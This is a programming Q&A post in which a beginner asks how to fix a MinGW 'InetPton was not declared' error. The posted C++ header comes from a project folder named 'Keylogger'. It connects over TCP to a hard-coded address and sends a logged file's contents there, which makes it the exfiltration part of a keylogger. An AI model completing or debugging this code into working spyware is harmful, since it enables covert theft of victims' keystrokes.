error: 'InetPton' was not declared in this scope while compiling c++ - c++

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I'm new to c++ and when I try to compile the code, I get the following:
In file included from C:\Users\Toqa\Documents\Keylogger\main.cpp:10:
C:\Users\Toqa\Documents\Keylogger\SendData.h: In constructor
'Data::Data()': C:\Users\Toqa\Documents\Keylogger\SendData.h:34:13:
error: 'InetPton' was not declared in this scope InetPton(AF_INET,
"172.0.0.1", &addr.sin_addr.s_addr); ^~~~~~~~
C:\Users\Toqa\Documents\Keylogger\SendData.h:34:13: note: suggested
alternative: 'inet_ntoa' InetPton(AF_INET, "172.0.0.1",
&addr.sin_addr.s_addr); ^~~~~~~~ inet_ntoa
This is my code:
#ifndef SENDDATA_H
#define SENDDATA_H
#include <winsock2.h>
#include <ws2tcpip.h>
#include "IO.h"
#include<iostream>
#include<fstream>
#include<stdio.h>
#include <unistd.h>
#include <stdlib.h>
class Data{
std::fstream file;
int general_socket_descriptor;
struct sockaddr_in address;
int address_length;
WSADATA wsa_data;
SOCKADDR_IN addr;
int server;
public:
Data(){
create_socket();
InetPton(AF_INET, "172.0.0.1", &addr.sin_addr.s_addr);
addr.sin_family = AF_INET;
addr.sin_port = htons(55555);
create_connection();
std::string path = IO::GetOurPath(true);
file.open(path + "test.txt", std::ios::in | std::ios::binary);
if(file.is_open()){
std::cout<<"[LOG] : File Ready...\n";
}
else{
std::cout<<"[ERROR] : File creation failed, Exiting.\n";
}
}
void create_socket(){
WSAStartup(MAKEWORD(2, 0), &wsa_data);
if (server = socket(AF_INET, SOCK_STREAM, 0)) {
std::cout<<"[LOG] : Socket Created Successfully.\n";
}
else{
perror("[ERROR] : Socket failed.\n");
}
}
void create_connection(){
if (connect(server, reinterpret_cast<SOCKADDR *>(&addr), sizeof(addr)) < 0) {
perror("[ERROR] : connection attempt failed.\n");
}
std::cout<<"[LOG] : Connection Successfull.\n";
}
void transmit_file(){
std::string contents((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
std::cout<<"[LOG] : Transmission Data Size "<<contents.length()<<" Bytes.\n";
std::cout<<"[LOG] : Sending...\n";
int bytes_sent = send(server , contents.c_str() , contents.length() , 0 );
std::cout<<"data: "<<contents.c_str()<<"\n end \n";
std::cout<<"[LOG] : Transmitted Data Size "<<bytes_sent<<" Bytes.\n";
std::cout<<"[LOG] : File Transfer Complete.\n";
}
};
#endif // SENDDATA_H
I'm using code blocks IDE on windows and this is the command of compiling:
g++.exe -o bin\Debug\Test.exe obj\Debug\main.o -mwindows -lws2_32
The version is:
g++ (x86_64-posix-seh-rev0, Built by MinGW-W64 project) 8.1.0
After researching the error, most of the solutions were ensuring to link it with ws2_32. However, I'm using it and I still get the same error.